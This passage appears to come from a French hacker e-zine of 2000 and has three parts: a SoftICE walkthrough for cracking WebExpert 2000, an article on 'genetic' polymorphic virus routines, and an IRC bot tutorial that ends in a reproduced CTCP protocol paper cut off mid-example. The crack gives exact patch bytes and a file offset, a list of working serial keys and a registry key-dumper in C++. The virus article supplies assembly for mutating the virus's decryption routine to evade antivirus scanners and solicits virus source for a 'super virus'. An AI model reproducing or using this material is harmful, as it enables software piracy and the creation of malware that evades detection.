je tape BL pour obtenir la liste des breakpoints, ca me donne :
(00)  BPX   0167:00461611
(01)  BPX   0167:004615AC
(02)  BPX   0167:0067511D
(03)  BPX   0167:0067500E
Bon ben je veut que le seul breakpoint actif soit le 04, ben je tape bd 00 <enter> bd 01 <enter> bd 02 <enter> (bd est pour dsactiver un breakpoint, be pour faire l'inverse et bc pour le supprimer) voil maintenant quand je tape bl les breakpoint 00, 01 et 02 on une toile  ct pour indiquer qu'ils sont dsactivs. Bon maintenant on va diter la ligne du saut pour qu'elle se comporte  l'inverse de ce qu'elle devrait faire pour cela on tape A 0167:0067500E pour l'diter. et l on tape le nouveau code :
JZ 006750F0
Et enter  la ligne suivante pour dire qu'on  terminer. On fait Ctrl-D et on va clique pour l'enregistrement, on met n'importe quoi... Ok... On fait Ctrl-D pour passer le breakpoint... Bingo... ca marche... Bon maintenant, on va chercher les modifs a faire dans le fichier pour que ca marche. Dj par dfaut le saut fonctionne. ben on va le remplacer par des non operand (nop : ne fait rien : 0x90). on voit grce aux addresses qu'il fait 6 octets, ce sera donc 6 nops
(0x014 - 0x00E = 0x006)
Bon maintenant faut pouvoir le trouver... Donc on veut voir le code hexa du saut et des alentours, on fait D 0167:006750CE (pour voir un peu avant), ca nous donne (seulement la partie qui nous interresse) :
E8 6D 1C DD FF 8B 55 B4-8B 45 FC E8 12 F2 D8 FF
0F 85 DC 00 00 00 A1 78-75 70 00 C6 00 00 8D 45
^^^^^^^^^^^^^^^^^
FC 50 8D 55 B0 8B 83 D4-02 00 00 E8 42 1C DD FF
Donc ce sont les 6 octets souligns qu'il faut remplac par des 90 C'est bon maintenant, on peut dsactiver le breakpoint et partir de Soft-Ice.
Mais je relance WebExpert et il ne bronche pas, je suis toujours enregistrer. Merde, il sauvegarde pas la clef ? Bon ben kewl.. J'ai chercher dans les fichiers de conf de WebExpert, y'a nada. Bon ben la base de registre. Wouah... Deux valeurs toutes seules
dans la clef : 
HKEY_LOCAL_MACHINE\SOFTWARE\Visicom Media\WebExpert v4\WebExpert
Elles sont nomme Usager et Format. Bon regarde ce qu'il y a dedans :
Cool, le nom de l'usager en binaire et un truc qui ressemble  une clef d'enregistrement en binaire. Il s'agit en effet de la clef d'enregistrement correspondant  l'usager stocker dans Usager. Bon, Je reparle de ca aprs. Pour modifier le fichier, on recherche la trame hexa prcedente (ou seulement un bout), dans le fichier wexpert4.exe (attention il faut qu'il n'y ait aucune ambiguit, c'est
 dire que la chaine hexa recherche ne se trouve qu' un endroit dans le fichier). Pour ma part j'utilise UltraEdit-32 pour faire a.
Bon, et on remplace 0F 85 DC 00 00 00 par 90 90 90 90 90 90.
Cette trame se trouve au 2573326me octets dans le fichier. Voil le fichier  merger dans RTC Patcher pour pouvoir patcher WebExpert4 avec RTC Patcher :

<-- begin wexpert4.dat -->
[WebExpert 2000 (4.00.5) Crack by S/asH]
NbFile=1
File0=WExpert4.exe
BackupFile0=WExpert4.bak
NbChange0=1
ChangeLocation0_0=2573326
Change0_0=909090909090
<-- end wexpert4.dat -->

Bon, revenons aux codes stocker dans la registry. Il se trouve que wexpert se fie  son premier jugement et soque donc la chaine qui lui  permis de voir si l'utilisateur tait ok. C'est une trs mauvaise mthode de protection (et dire que je me suis emmerd sur des softs 10 fois plus merdiques que celui-l).

Bon, ben grce  celui-l j'ai gnr toute une srie de clefs, qui peuvent nous permettre de faire du RE et crer un keygenerator. Une autre solution pour faire ce RE est de regarder dans le code (je n'ai pas eu le temps de le faire et  quoi bon...), il s'agit de la fonction appele juste avant notre fameux saut.

Voil la liste des codes :
Nom                                     key
0                                       CFDN-PFDJ-PZAZ-ZZZZ
1                                       3SWA-VKNH-KF2Z-ZZZZ
2                                       F8C4-UL3H-XCCZ-ZZZZ
3                                       XZKW-MJGE-J3UZ-ZZZZ
4                                       HMBP-BPHA-VK2Z-ZZZZ
5                                       AEGQ-MX2A-XNMZ-ZZZZ
6                                       VCSJ-MMZF-7VPZ-ZZZZ
7                                       DHVW-CHG5-DAYZ-ZZZZ
8                                       HZPJ-RT6D-ZRMZ-ZZZZ
9                                       HQVM-RXBH-PMWZ-ZZZZ
a                                       HSHH-VSCW-4BQZ-ZZZZ
b                                       GUKZ-RSET-HTEZ-ZZZZ
c                                       TNW5-4ATN-9MYZ-ZZZZ
d                                       VFPF-ABZU-PMGZ-ZZZZ
e                                       PRTY-XDNR-EA6Z-ZZZZ
f                                       HRMT-SADM-FE2Z-ZZZZ
g                                       522E-CALJ-Z8AZ-ZZZZ
h                                       AMVV-TVHU-IPAZ-ZZZZ
i                                       QGVJ-JPNF-HXYZ-ZZZZ
j                                       BUQV-K7CE-WR2Z-ZZZZ
k                                       PDRS-ZSMC-A8UZ-ZZZZ
l                                       ZBKW-KYBD-5FAZ-ZZZZ
m                                       B4M3-XSCD-FYMZ-ZZZZ
n                                       P9V2-PNLJ-TR2Z-ZZZZ
o                                       HTLG-NXSL-CTKZ-ZZZZ
p                                       VNBN-R4CT-AUYZ-ZZZZ
q                                       R9U2-LLAE-VEQZ-ZZZZ
r                                       JAVT-LEYA-KRCZ-ZZZZ
s                                       FQRB-8MI2-YVCZ-ZZZZ
t                                       VL3R-SCBD-YZKZ-ZZZZ
u                                       VH4C-7WLS-RCCZ-ZZZZ
v                                       NNC6-E6GM-QVAZ-ZZZZ
w                                       M8JS-VTNJ-C2EZ-ZZZZ
x                                       5NVS-HLRK-KZ6Z-ZZZZ
y                                       VUVB-TC7S-A2AZ-ZZZZ
z                                       JB5K-SGHH-SHAZ-ZZZZ
RtC                                     2VNH-YGRN-QRSZ-ZZZZ
ab                                      DG9W-XWL2-VCCZ-ZZZZ
Visic                                   BNWD-CRUU-N7UZ-ZZZZ
Visicom                                 SFYC-8UKK-FIHZ-ZZZZ
Visicom Mdia                           HRTW-Z9EV-AZZW-MNBR
WebExpert                               YHLW-TEEL-BCJQ-CN6F
abcdefghijklmnopqrstuvwxyz0123456789/\. PFRM-Q8XW-ZVEK-C8Q6
abcdefghijklmnopqrstuvwxyz0123456789/\  PFRM-Q8XW-ZVEK-C8Q6
abcdefghijklmnopqrstuvwxyz0123456       PFRM-Q8XW-ZVEK-C8Q6
abcdefghijklmnopqrstuvwxyz              PFRM-Q8XW-ZVEK-C8Q6
abcdefghijklmnopqrst                    PFRM-Q8XW-ZVEK-C8Q6
abcdefghijklmno                         PFRM-Q8XW-ZVER-DHPT
abcdefghijklmnop                        PFRM-Q8XW-ZVEK-C8Q6

Ce que nous apprends ces clefs :
* Case insensitive pour les clefs ou les noms.
* Non utilisation des O, 0 et 1 pour les clefs
* 16 premiers caractres utiliss (dernires clefs)
* Utilisations des caractres dans l'ordre (Z-ZZZZ qui
  finissent les clefs associe  des noms cours).
* Clef sans doute initialis  ZZZZ-ZZZZ-ZZZZ-ZZZZ

Si vous faite d'autres clef, envoyez-les moi.
C'est tout. Le code du dumper de clef (sert  rcupre la
clef dans la registry et  l'effacer)
<-- begin we4kdump.cpp -->
/******************************************************************************
 *                we4kdump.cpp : WebExpert 2000 Key Dump                      *
 *                    Author : S/asH (member of RtC)                          *
 * for use under Borland C++ 5 (must work under other win32 compilators)      *
 * You can freely distribute this software but I decline all responsability   *
 * for the use of this software.                                              *
 * RtC TecH - July 2000                                                       *
 ******************************************************************************/

#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <windows.h>
#include <winbase.h>

/* Constants */
#define WEXPERT4_REGKEY    "SOFTWARE\\Visicom Media\\WebExpert v4\\WebExpert"
#define WEXPERT4_KEYNAME   "Format"
#define WEXPERT4_USERKNAME "Usager"
#define CANT_OPENFILE      "Cannot open output file %s !\n"
#define CANT_READVALUE     "Cannot dump WebExpert 4 key.\n"
#define PROMPT_BEFOREDUMP  "Ready to dump..."
#define PROMPT_DUMP        "Another dump (y/n) ? "

#define VERSTR             "/------------------------------------------------------------------------------\\\n"\
                           "|                     we4kdump : WebExpert 2000 key Dump                       |\n"\
                           "|          Author : S/asH (member of RtC).  RtC TecH - July 2000               |\n"\
									"| You can freely distribute this software but I decline all responsability for |\n"\
                           "| the use of this software.                                                    |\n"\
								  "\\------------------------------------------------------------------------------/\n"

#define SYNTAXSTR          "Syntax is : we4kdump [-e] file\n"\
 									"    file is the filename to dump\n"\
                           "    -e is for getting no echo\n"

/******************************************************************************
 * Function valuedump : dump a registry binary value into a string            *
 * Input  : rootKey : the root key in the registry                            *
 *          key     : the key where find value                                *
 *				value   : value to dump                                           *
 * Output : return  : value dumped (null if error)                            *
 ******************************************************************************/
char *valuedump(HKEY rootKey, LPSTR key, LPSTR value)
{
	DWORD Type; HKEY hKey; char *res; unsigned long i;
	if(RegOpenKeyEx(rootKey, key, 0, KEY_ALL_ACCESS, &hKey)!=ERROR_SUCCESS)
   	return NULL;
   res = new char[65535]; i = 65535;
	if(RegQueryValueEx(hKey, value, NULL, &Type, (LPBYTE)res, &i)!=ERROR_SUCCESS)
   {
    	delete res;
      return NULL;
   }
   if(Type!=REG_BINARY)
   {
    	delete res;
      return NULL;
   }

   RegCloseKey(hKey);
   res[i] = 0;
   return res;
}

/******************************************************************************
 * Function main  																				*
 * Input  : argc    : the arguments counter                                   *
 *          argv    : the arguments vector                                    *
 ******************************************************************************/
void main(int argc, char *argv[])
{
	FILE *fout;
	printf(VERSTR);
   char c = 'y';
   char *key, *name;
	if((argc<2) || (argc>3))
   {
   	printf(SYNTAXSTR);
      return;
   }
   if((argc==3) && strcmp(argv[1],"-e"))
   {
   	printf(SYNTAXSTR);
      return;
   }
   if((fout = fopen(argv[argc-1], "a"))==NULL)
   {
   	printf(CANT_OPENFILE, argv[argc-1]);
      return;
   }
   while((c=='y') || (c=='Y'))
   {
   	printf(PROMPT_BEFOREDUMP);
		getch();
      printf("\n");
      key = valuedump(HKEY_LOCAL_MACHINE, WEXPERT4_REGKEY, WEXPERT4_KEYNAME);
      name = valuedump(HKEY_LOCAL_MACHINE, WEXPERT4_REGKEY, WEXPERT4_USERKNAME);
      if((!key) || (!name))
      	printf(CANT_READVALUE);
      else
      {
      	RegDeleteKey(HKEY_LOCAL_MACHINE, WEXPERT4_REGKEY);
      	fprintf(fout, "%s\t%s\n", name, key);
         if(argc==2) printf("%s\t%s\n", name, key);
      }
      if(key) delete key;
      if(name) delete name;
      printf(PROMPT_DUMP);
      c=getch();
      printf("\n");
   }
   fclose(fout);
}
<-- end we4kdump.cpp -->
<--                               File by S/asH                                  -->
[EOF]

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
	Projet K-os : Comment amliorer un virus polymorphe, Genetical K-os
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

I) Houston...
==============
	Certains se disent peut-tre qu'ils manquent une tape : ils ont raisons. Je ne vais pas essayer de jouer les boss, je prfre tre franche, il faut savoir rester humble et assumer mes erreurs (certains ferait bien d'en faire autant). Je vais m'expliquer. Le virus polymorphe que j'ai annonc il y a assez longtemps est implment (depuis un petit bout de temps dj) mais il contient une erreur que je n'arrive pas  localiser. Ce n'est pas faute d'avoir essay (pas moins de 30 heures cumules passes  dbugger), mais l'erreur subsiste... Si certains sont intresss, il peuvent me contacter par l'intermdiaire du projet K-os ou compiler le moteur qui se trouve avec le RTC mAg 4. En attendant, j'ai crit quand mme, pour les plus impatients, l'article qui aurait d suivre. Il s'agit d'amliorer un virus polymorphe en le rendant volutionniste (on dit aussi gntique).

II) Le polymorphisme
=====================

	Je vais faire un bref rappel de ce qu'est le polymorphisme ; pour plus de dtails, je vous conseille l'article de Dark Angel dans Datut006. Le polymorphisme consiste  donner au virus une apparence diffrente  chaque rplication de sorte que le scan soit totalement inutile face  ce type de virus. Pour cela, on crypte d'abord le corps du virus de manire trs simple (avec une cl xor). Puis on fabrique une routine de dcryptage au hasard que l'on place au dbut. Pourquoi la fabrique-t-on ? Pour que le virus n'ait absolument rien qui soit identique  chaque fois. Comment la fabrique-t-on ? C'est l que rside toute la subtilit du polymorphisme. On insre entre les instructions qui dcrypte le virus d'autres instructions qui n'ont aucun effet (comme 'nop' ou 'or ax,ax'). C'est ce gnrateur de code qui dtermine en fait la puissance d'un moteur de polymorphisme. Il y a un autre point essentiel  comprendre : c'est que toutes les dcisions qui sont prises viennent d'un gnrateur de nombres alatoires (par dcision, on entend aussi bien choix de la cl de cryptage que choix de l'instruction  insrer, etc.). Et c'est sur ce point que nous allons amliorer le virus polymorphe.

III) Un virus gntique
========================

	En effet, avec un gnrateur de nombres alatoires simple (c'est  dire sur 16 bits avec une rcurrence linaire d'ordre 1), on ne peut obtenir que 65536 boucles de dcryptage (parce que ds que le premier nombre est choisi, les suivant sont entirement dtermins), ce qui limite notre moteur. Pour cela, on va procder diffremment. On va crer un tableau de nombres que l'on appelle gne, et que l'on rempli grce  notre gnrateur de nombres alatoires. Au lieu d'appeler notre gnrateur de nombres, on va appeler une autre routine qui prend les nombres dans le tableau conscutivement. Jusque l, rien de bien nouveau. Sinon qu'avec un gne qui ne change pas, on construit toujours le mme virus. On va donc faire une autre routine Mutate qui est charg de modifier un peu ce gne. Le virus va changer un peu et c'est le but. En effet, certains antivirus savent reconnatre les virus polymorphes. Or il suffit qu'un seul virus gntique chappent  l'antivirus et celui-ci va automatiquement infecter tout le reste de l'ordinateur. Pourquoi ? Parce que les nouvelles gnrations de virus seront trs peu diffrentes de celle qui n'a pas t reconnu. Bingo ! Notre virus, sous la pression de l'antivirus va pouvoir voluer et s'immuniser contre cet antivirus. De plus, un gne offre beaucoup plus de possibilits de boucles de dcryptage qu'un simple gnrateur ; par exemple, un gne de 100 octets offre potentiellement 256^100 c'est  dire environ 10^241 possibilits (c'est largement plus que le nombre d'atomes dans l'univers qui est environ 10^80) ; on est trs loin de 65536. On a ainsi dcupler la puissance d'un virus polymorphe. On voit bien que les seuls changements  faire sont au niveau du gnrateur de nombres alatoires.

IV) Le code
============

  TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
  TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
                                          TT
    GGGGGG    EEEEEE  NN    NN    EEEEEE  TT  IIIIII    CCCCCC    AAAAAA  LL
    GGGGGG    EEEEEE  NN    NN    EEEEEE  TT  IIIIII    CCCCCC    AAAAAA  LL
  GG        EE        NNNN  NN  EE        TT    II    CC        AA    AA  LL
  GG        EE        NNNN  NN  EE        TT    II    CC        AA    AA  LL
  GG    GG  EEEE      NN  NNNN  EEEE      TT    II    CC        AAAAAAAA  LL
  GG    GG  EEEE      NN  NNNN  EEEE      TT    II    CC        AAAAAAAA  LL
  GGGGGGGG  EEEEEEEE  NN    NN  EEEEEEEE  TT  IIIIII  CCCCCCCC  AA    AA  LLLLLLLL
  GGGGGGGG  EEEEEEEE  NN    NN  EEEEEEEE  TT  IIIIII  CCCCCCCC  AA    AA  LLLLLLLL

                         KK  KKKK          OOOOOO    SSSSSS
                         KK  KKKK          OOOOOO    SSSSSS
                         KKKK            OO    OO  SSSS
                         KKKK            OO    OO  SSSS
                         KK  KK    ####  OO    OO        SS
                         KK  KK    ####  OO    OO        SS
                         KK    KK        OOOOOOOO  SSSSSSSS
                         KK    KK        OOOOOOOO  SSSSSSSS



	Je vais donc donner le code de toute la partie qui remplace le gnrateur de nombres alatoires. Il faut bien entendu garder le gnrateur de nombres alatoires.


--------------------------------CUT HERE--------------------------------
;<<<<<Routines Gntiques>>>>>
;
;
;--- Get_Random ---
;la routine Get_Random s'utilisent de faon analogue i.e.
;#entre :
;  ax=plafond max
;#sortie :
;  ax=nombre alatoire compris entre 0 et (plafond max-1)
;

Get_Random:
        push bx
        push cx
        push dx
	push bp

	call Get_Add1
    Get_Add1:
	pop bp
	sub bp,offset Get_Add1

	push ax
	mov bx,[bp + Gene_ptr]				;on met le pointeur dans bx
	mov ax,[bx]					;ax contient le nouveau nombre
	add word ptr [bp + Gene_ptr],2			;on incrmente le pointeur
	mov bx,offset Gene
	add bx,bp
	cmp word ptr [bp + Gene_ptr],bx + 200		;est-il  la fin du gne ?
	jne End_Rand					;non, on continue
	mov word ptr [bp + Gene_ptr],bx			;oui, on le remet au dbut

     End_Rand:
        pop cx						;on fait le mod
	xor dx,dx
        div cx
        mov ax,dx					;voil, la bonne valeur est dans ax

	pop bp
        pop dx
        pop cx
        pop bx
	ret						;on renvoie tout a

;--- Init_Gene ---
;Cette routine est appele par le virus, elle sert uniquement  initialiser
;le gne. On ne doit l'appeler qu'une seule fois pour la premire gnration de virus.
;#entre
;  aucune
;#sortie
;  le gne est prt
;

Init_Gene:
	push es
	push di
	push ds
	push si
	push cx
	push ax
	push bp

	call Get_Add2
    Get_Add2:
	pop bp
	sub bp,offset Get_Add2

	xor ax,ax
	mov ds,ax
	mov si,046Ch
	lodsw
	mov word ptr [bp + Rand_Seed],ax		;on initialise le GNPA

	push cs
	pop es
	mov di,offset Gene
	add di,bp
	mov cx,200
    Gene_Loop:
	mov ax,0FFFFh
	call Get_Rand
	stosb						;on rempli le gne avec al
	loop Gene_Loop
	mov ax,offset Gene
	add ax,bp
	mov word ptr [bp + Gene_ptr],ax			;on initialise le pointeur
    End_init:

	pop bp
	pop ax
	pop cx
	pop si
	pop ds
	pop di
	pop es
	ret

;--- Mutate ---
;C'est cette routine qui va changer le gne. On doit l'appeler de temps en temps.
;#entre
;  aucune
;#sortie
;  le gne est modifi
;

Mutate:
	push cx
	push ax
	push bp


	call Get_Add3
    Get_Add3:
	pop bp
	sub bp,offset Get_Add3

	mov ax,20
	call Get_Rand			;on modifie 20 octets au maximum
	mov cx,ax

   Mutate_Loop:
	push bp
	mov ax,200
	call Get_Rand			;o ?
	add bp,ax
	mov ax,0FFFFh
	call Get_Rand			;quoi ?
	mov [bp + Gene],al
	pop bp
	loop Mutate_Loop

	pop bp
	pop ax
	pop cx
	ret



;--- Linear Congruential Pseudo-Random Number Generator ---
;le GNPA classique...
;X(n+1) = (A * X(n) + C) mod M
;#entre:
;     aucune
;#sortie:
;     ax=nombre gnr

Get_Rand:
        push cx
        push dx

        mov ax,[bp + Rand_Seed]
        mov cx,A
        mul cx
        add ax,C
        adc dx,0
        mov cx,M
        div cx
        mov ax,dx
        mov [bp + Rand_Seed],ax

        pop dx
        pop cx
        ret
        
M equ 43691
A equ 13
C equ 14449
Rand_Seed dw ?

Gene_ptr dw ?
Gene db 200 dup (?)
--------------------------------CUT HERE--------------------------------

V) Les suites du Projet K-os
=============================

	Le projet K-os est un projet ouvert, donc, si vous voulez participez au Projet K-os, vous pouvez. Je rappelle que le Projet K-os a pour but de construire un super virus. Toutes les voies sont ouvertes (virus boot, infecteur d'exe, rsidant...), vous pouvez vous laissez aller  imaginer n'importe quoi. Mme si vous tes un newbie, n'hsitez pas, mme si vous ne faites qu'une simple routine. Je publierai toutes les sources de virus qui me seront envoyes, accompagnes du nom de leurs auteurs bien videmment. La seule chose que je vous demande, c'est de commenter vos virus un minimum dans un langage clair et pa kom ssa.
	Vous pourrez voir toutes les volutions dans la partie consacre au projet K-os sur le site du g4ng RTC. En attendant vos virus... :-)

	K-os will survive...
	We have no ID, call us g4ng RTC.

						By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
					IRC BOT PART II
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Dans cette nouvelle version du bot irc. Nous le traiteront en C++ de facon 
objet : c'est un moyen pratique de gerer le bot. De plus le traitement objet 
nous permettera de passer d'une version  l'autre plus facilement.

Je vais, pour l'instant, continuer le descriptif des commandes. (elles sont 
lister dans le fichier constant.hpp) :
 
 * NOTICE : pareille que PRIVMSG mais on recoit pas de renvoie du serveur
		(pratique pour flooder qq1)
 * QUIT [:<msg>] : quitte le serveur avec le message msg
 * PART <chan>[,<chan>...] : quitte un ou plusieurs channels
 * MODE <user> {[+-]i|w|s|o} : change les mode d'un user
		i : mettre un utilisateur invisible (on voit plus ce qu'il 
		raconte)
		w : wallops : recoit les messages destine a tout les ops
		s : recoit les messages notice du serveur
		o : se met (ou met qq1) irc op (en pratique seul le serveur ou
		les ircs op peuvent le faire)
 * MODE <chan> {[+-]o|p|s|i|t|n|m|l|b|v|k} [<limit>] [<user>] [<ban mask>] :
		change les mode du chan. je ne vait expliquer ici que les modes
		interessants.
		o : droit chanop pour l'user
		k : met un pass au chan
		v : donne le droit voice a qq1 (c mesquin de le filer a qq1 :
		ca donne aucun droit en part)
		i : fait que le chan est invite only
		b : sert a bannir qq1 du chan (un ex-chanop par ex (genre bot))
 * KICK <chan> <user> [:<msg>] : vire user de chan pour la raison msg

Bon c'est finit pour les commandes irc clasiques (allez voir la rfc si besoin :
a noter que la rfc 1459 sur l'irc est presente en version francaise dans le
hackoff 17 du Serial Savate System).
On commence plus interressant : les commandes CTCP (Client To Client Protocol).
Le CTCP permet d'envoyer differentes commandes a un client IRC d'un autre client
IRC (par exemple un PING). Pratiquement cela sert a tester si un utilisateur est
la en le pinguant (pratique pour voir si qq1 a deconnecter quand on est un bot).
Cela peut aussi servir a se renseigner sur la cible (eh eh).
Bon voila le texte qui explique le quoting CTCP :

<-- begin CTCP.paper -->
I sent this last week but several people didn't get it, so I'll send
it again.

This is a try at formalizing the client to client protocol (CTCP) for
IRC clients.

I started doing it in the fall but after a while found I had not
enough time / enthuiasm for it. A few things have been added since.
Some things are explained in a strsnge way, no doubt. I'm not a native
english speaker.

I guess this at least is a start.
-----------------------------------------------------------------------------
sojge@docs.uu.se Sun Oct 27 17:27:59 1991			-*-Text-*-

The client-to-client protocol (CTCP) *13*

This client-to-client protocol is meant to be used as a way to
	1/	in general send structered data (such as graphics,
		voice and different font information) between users
		clients, and in a more specific case
	2/	place a query to a users client and getting an answer.

As of now, only a simple text encryption scheme is implemented in
category 1, and a few query/reply pairs in category 2. This paper will
concentrate on the latter category.

*****************************************
BASIC PROTOCOL BETWEEN CLIENTS AND SERVER
*****************************************

Characters between client and server are 8 bit bytes (also known as
octets) and can have nummeric values from octal 0 up to 0377 inclusive
(0 up to 255 decimal). Some characters are special.

	CHARS	::= '\000' .. '\377' 
	NUL	::= '\000'
	NL	::= '\n'
	CR	::= '\r'

A line sent to a server, or received from a server (here called "low
level messages") consist or zero or more octets (expcept NUL, NL or
CR) with either a NL or CR appended.

	L-CHARS	::= '\001' .. '\011' | '\013' | '\014' |
		    '\016' .. '\377'
	L-LINE	::= L-CHARS* CR LF

A NUL is never sent over to the server.

*****************
LOW LEVEL QUOTING
*****************

As messages to and from servers can't contain NUL, NL and CR, but it
still might be desirable to send ANY character (in so called "middle
level messages") between clients, those three characters have to be
quoted. Therefor a quote character is needed. Of course, the quote
character itself has to be quoted too.

	M-QUOTE	::= '\020'

(Ie a CNTRL/P).

When sending a middle level message, if finding a character being one
of NUL, NL, CR or M-QUOTE, that character is replaced by a two
character sequence according to the following table.

	NUL	--> M-QUOTE '0'
	NL	--> M-QUOTE 'n'
	CR	--> M-QUOTE 'r'
	M-QUOTE	--> M-QUOTE M-QUOTE

When receiving a low level message, and seeing a M-QUOTE, look at the
next character, and replace those two according to the following table
to get the corresponding middle level message.

	M-QUOTE '0'	--> NUL
	M-QUOTE 'n'	--> NL
	M-QUOTE 'r'	--> CR
	M-QUOTE M-QUOTE	--> M-QUOTE

If the character following M-QUOTE isn't any of the listed characters,
that is an error, so drop the M-QUOTE character from the message,
optionally warning the user about it. Ie, a string 'x' M-QUOTE 'y' 'z'
from a server dequotes into 'x 'y' 'z'.

Before low level quoting, a message to the server (and in the opposite
direction: after low level dequoting, a message from the server) looks
like

	M-LINE	::= CHARS*

***********
TAGGED DATA
***********

To send both extended data and query/reply pairs between clients, an
extended data format is needed. The extended data are sent in the text
part of a middle level message (and efter low level quoting of course
also in the text part of the low level message).

To send extended data inside the text, we need some way to delimit it.
This is done by starting and ending extended data with a delimiter
character.

	X-DELIM	::= '\001'

As both the starting and ending delimiter looks the same, every second
X-DELIM is called the odd, and every second the even delimiter. The
first one in a message is odd.

When having being quoted (and conversly, before having been dequoted)
any number of characters of any kind except X-DELIM can be used in the
extended data, ie inside the X-DELIM pair.

	X-CHR	::= '\000' | '\002' .. '\377'

An extended message is either empty (ie nothing between the odd and
even delimiter), has one or more non-space characters (ie any
character but '\040') or has one or more non-space characters followed
by a space followed by zero or more characters.

	X-N-AS	::= '\000'  | '\002' .. '\037' | '\041' .. '\377'
	SPC	::= '\040'
	X-MSG	::= | X-N-AS+ | X-N-AS+ SPC X-CHR*

The first characters up until the first SPC (or if no SPC, all of the
X-MSG) is called the tag of the extended message. The tag is used to
know what kind of extended data is used.

The tag can be *any* strings of characters and if the happen to be
letters, they are case sensitive, so upper and lower case matters.

Extended data is only valid in PRIVMSG and NOTICE commands. If the
extended data is a reply to a query, it is sent in a NOTICE, else it
is sent in a PRIVMSG. Both PRIVMSG and NOTICE to a user and to a
channel may contain extended data.

The text part of a PRIVMSG or NOTICE might contain zero or more
extended messages, intermixed with zero or more chunks of non-extended
data.

******************
CTCP LEVEL QUOTING
******************

In order to be able to send the delimiter X-DELIM inside an extended
data message, it has to be quoted. This introduces another quote
character (which should differ from the low level quote character so
it won't have to be quoted yet again).

	X-QUOTE	::=	'\134'

(Ie a back slash).

When quoting on the CTCP level, only actual CTCP message (ie extended
data, queries, replies) are quoted. This enables users to actually
send X-QUOTE characters at will. The following translations should be
used

	X-DELIM	--> X-QUOTE 'a'
	X-QUOTE	--> X-QUOTE X-QUOTE

and when dequoting on the CTCP level, only CTCP messages are dequoted
whereby the following table is used.

	X-QUOTE 'a'	--> X-DELIM
	X-QUOTE X-QUOTE	--> X-QUOTE

If a X-QUOTE is seen with another the character following it than the
ones above, that's an error and the X-QUOTE character should be
dropped. Ie the CTCP-quoted string 'x' X-QUOTE 'y' 'z' becomes after
dequoting the three character string 'x' 'y' 'z'.

If a X-DELIM is found outside a CTCP message, the message will contain
the X-DELIM. (This should only happen with the last X-DELIM when there
are an odd number of X-DELIM's in a middle level message.

***************
QUTING EXAMPLES
***************

There are basically three levels of messages. The highest level (H) is
the text on the user-to-client level. The middle layer (M) is on the
level where CTCP quoting has been applied to the H-level message. The
lowest level (L) is on the client-to-server level, where low level
quoting has been applied to the M-level message.

The following relations are true, with lowQuote(message) being a
function doing the low level quoting, lowDequote(message) the low
level dequoting, ctcpQuote(message) the CTCP level quoting,
ctcpDequote(message) the CTCP level dequoting, and
ctcpExtract(message) the removing of all CTCP messages from a message.
The operator || denotes string concatenation.

	L = lowQuote(M)
	M = ctcpDequote(L)

	M = ctcpQuote(H)
	H = ctcpDequote(ctcpExtract(M))

When sending CTCP message imbedded in normal text

	M = ctcpQuote(H1) || '\001' || ctcpQuote(X) || '\001' || ctcpQuote(H2)

Of course, there might be zero or more normal text messages and zero
or more CTCP messages mixed.

--- Example 1 -----------------------------------------------------------------

A user (called actor) wanting to send the string

	Hi there!\nHow are you?

to user victim, ie a message where the user has entered an inline
newline (how this is done, if at all, differs from client to client),
will result internaly in the client in the command

	PRIVMSG victim :Hi there!\nHow are you? \K?

which will be CTCP quoted into

	PRIVMSG victim :Hi there!\nHow are you? \\K?

which in turn will be low level quoted into

	PRIVMSG victim :Hi there!\020nHow are you? \\K?

and sent to the server after appending a newline at the end.

This will arrive on victim's side as

	:actor PRIVMSG victim :Hi there!\020nHow are you? \\K?

(where the \\K would look similar to OK in SIS D47 et al) which after
low level dequoting becomes

	:actor PRIVMSG victim :Hi there!\nHow are you? \\K?

and after CTCP dequoting

	:actom PRIVMSG victim :Hi there!\nHow are you? \K?

How this is displayed differs from client to client, but it suggested
that a line break should occour between the words "there" and "How".

--- Example 2 -----------------------------------------------------------------

If actor's client wants to send the string "Emacs wins" this might
become the string "\n\t\big\020\001\000\\:" when being
SED-encrypted using some key, so the client starts by CTCP-quoting
this string into the string "\n\t\big\020\\a\000\\\\:" and
builds the M-level command

	PRIVMSG victim :\001SED \n\t\big\020\\a\000\\\\:\001

which after low level quoting becomes

	PRIVMSG victim :\001SED \020n\t\big\020\020\\a\0200\\\\:\001

which will be sent to the server, with a newline tacked on.

On victim's side, the string

	:actor PRIVMSG victim :\001SED \020n\t\big\020\020\\a\0200\\\\:\001

will be received from the server and low level dequoted into

	:actor PRIVMSG victim :\001SED \n\t\big\020\\a\000\\\\:\001

whereafter the string "\n\t\big\020\\a\000\\\\:" will be extracted
and first CTCP dequoted into "\n\t\big\020\001\000\\:" and then
SED decoded getting back "Emacs wins" when using the same key.

--- Example 3 -----------------------------------------------------------------

If the user actor want's to query the USERINFO of user victim, and is
in the middle of a conversation, the client may decide to tack on
USERINFO request on a normal text message. Then the client wants to
send the textmessage "Say hi to Ron\n\t/actor" and the CTCP request
"USERINFO" to victim.

	PRIVMSG victim :Say hi to Ron\n\t/actor

plus

	USERINFO

which after CTCP quoting become

	PRIVMSG victim :Say hi to Ron\n\t/actor

plus

	USERINFO

which gets merged into

	PRIVMSG victim :Say hi to Ron\n\t/actor\001USERINFO\001

and after low level quoting

	PRIVMSG victim :Say hi to Ron\020n\t/actor\001USERINFO\001

and sent off to the server.

On victim's side, the message

	:actor PRIVMSG victim :Say hi to Ron\020n\t/actor\001USERINFO\001

arrives. This gets low level dequoted into

	:actor PRIVMSG victim :Say hi to Ron\n\t/actor\001USERINFO\001

and thereafter split up into 

	:actor PRIVMSG victim :Say hi to Ron\n\t/actor

plus

	USERINFO

After CTCP dequoting both, the message

	:actor PRiVMSG victim :Say hi to Ron\n\t/actor

gets displayed, while the CTCP command

	USERINFO

gets replied to. The reply might be

	USERINFO :CS student\n\001test\001

which gets CTCP quoted into

	USERINFO :CS student\n\\atest\\a

